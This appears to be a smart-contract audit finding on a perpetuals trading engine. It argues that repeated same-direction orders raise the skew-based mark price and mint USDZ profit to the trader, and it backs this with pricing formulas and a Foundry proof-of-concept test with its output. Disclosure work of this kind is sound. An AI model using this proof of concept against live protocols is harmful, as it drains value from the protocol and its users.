Summary
After opening a position, every subsequent trade in the same direction will generate a profit because the skew increases, which in turn increases the mark price. We are assuming that user will not have any position opened in any other market as it might show loss.
Vulnerability Details
When a market order is created, the mark price is fetched using the following line:
fillPriceX18 = perpMarket.getMarkPrice(ctx.sizeDeltaX18, perpMarket.getIndexPrice());
The mark price is calculated using the following formula:
let proportionalSkew = prevSkew / skewScale
let newSkew = prevSkew + changeInOpenInterest
let newProportionalSkew = newSkew / skewScale
let priceImpactBeforeTrade = indexPrice + (indexPrice * proportionalSkew)
let priceImpaceAfterTrade = indexPrice + (indexPrice * newProportionalSkew)
let markPrice = (priceImpactBeforeTrade + priceImpactAfterTrade) / 2
Example Calculation
Given:
let indexPrice = 1;
let prevSkew = 1000;
let skewScale = 10000000;
let changeInOpenInterest = 500;
let proportionalSkew = prevSkew / skewScale;
let newSkew = prevSkew + changeInOpenInterest;
let newProportionalSkew = newSkew / skewScale;
let priceImpactBeforeTrade = indexPrice + (indexPrice * proportionalSkew);
let priceImpactAfterTrade = indexPrice + (indexPrice * newProportionalSkew);
let markPrice = (priceImpactBeforeTrade + priceImpactAfterTrade) / 2;
console.log(markPrice);
As shown, the mark price increases after the trade. When calculating the profit and loss (PnL) for a position when an order is created, the following code executes:
position.getUnrealizedPnl(markPrice)
|
V
function getUnrealizedPnl(Data storage self, UD60x18 price) internal view returns (SD59x18 unrealizedPnlUsdX18) {
SD59x18 priceShift = price.intoSD59x18().sub(ud60x18(self.lastInteractionPrice).intoSD59x18());
unrealizedPnlUsdX18 = sd59x18(self.size).mul(priceShift);
}
As we can see the unrealized profit is calculated based on new markPrice
subtracted by old markPrcie
. And since the new mark price will be greater than the previous one (assuming we are increasing the skew or opening the position is same direction), the calculated priceShift
will be positive. And hence the unrealized profit calculated at the end of the function will also be positive.
As a result, this profit is minted to the user in the form of USDZ
tokens.
Impact
The user will consistently be in profit, which will mint USDZ
tokens that can be used to offset their SettlementFee
and OrderFee
.
Proof of Concept:
function test_UserWillAlwaysBeInProfitIfPlaceOrderInSameDirection() public {
address token = address(usdc);
int128 tokenDecimals = 6;
uint256 amount = 100000 * 10 ** uint128(tokenDecimals);
SD59x18 sizeDelta = sd59x18(10000e18);
deal({ token: token, to: users.naruto.account, give: amount });
uint128 narutoTrandingAccountId = createAccountAndDeposit(amount, token);
uint256[2] memory marketsIdsRange;
marketsIdsRange[0] = 4;
marketsIdsRange[1] = 4;
MarketConfig[] memory filteredMarketsConfig = getFilteredMarketsConfig(marketsIdsRange);
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: narutoTrandingAccountId,
marketId: filteredMarketsConfig[0].marketId,
sizeDelta: int128(sizeDelta.intoInt256())
})
);
skip(3 minutes);
bytes memory mockSignedReport =
getMockedSignedReport(marketsConfig[4].streamId, marketsConfig[4].mockUsdPrice);
vm.startPrank({ msgSender: marketOrderKeepers[4] });
perpsEngine.fillMarketOrder(narutoTrandingAccountId, 4, mockSignedReport);
marketsIdsRange[0] = 4;
marketsIdsRange[1] = 4;
filteredMarketsConfig = getFilteredMarketsConfig(marketsIdsRange);
vm.startPrank(users.naruto.account);
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: narutoTrandingAccountId,
marketId: filteredMarketsConfig[0].marketId,
sizeDelta: int128(40e18)
})
);
skip(3 minutes);
mockSignedReport = getMockedSignedReport(marketsConfig[4].streamId, marketsConfig[4].mockUsdPrice);
vm.startPrank({ msgSender: marketOrderKeepers[4] });
perpsEngine.fillMarketOrder(narutoTrandingAccountId, 4, mockSignedReport);
uint balance = perpsEngine.exposed_getMarginCollateralBalance(narutoTrandingAccountId, address(usdz)).intoUint256();
console2.log("balance", balance);
balance = perpsEngine.exposed_getMarginCollateralBalance(narutoTrandingAccountId, address(usdc)).intoUint256();
console2.log("balance", balance);
}
Output:
pnlUsdX18: 500781451730000
orderFeeUsdX18: 640000063972344823
settlementFeeUsdX18: 2000000000000000000
balance 0
balance 99835360492736897446137
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.70ms (2.24ms CPU time)
Ran 1 test suite in 26.36ms (10.70ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
As seen, the user has a positive PnL, but no USDZ
balance remains since it was used to pay for the settlement
and order
fees.
Tools Used
Recommendations
The tokens minted will be in small amounts but can cause issue if the number of trader are more. Hence this needs to be mitigated. I couldn't think of any way to mitigate this with current design. Hence team need to find a way to mitigate this.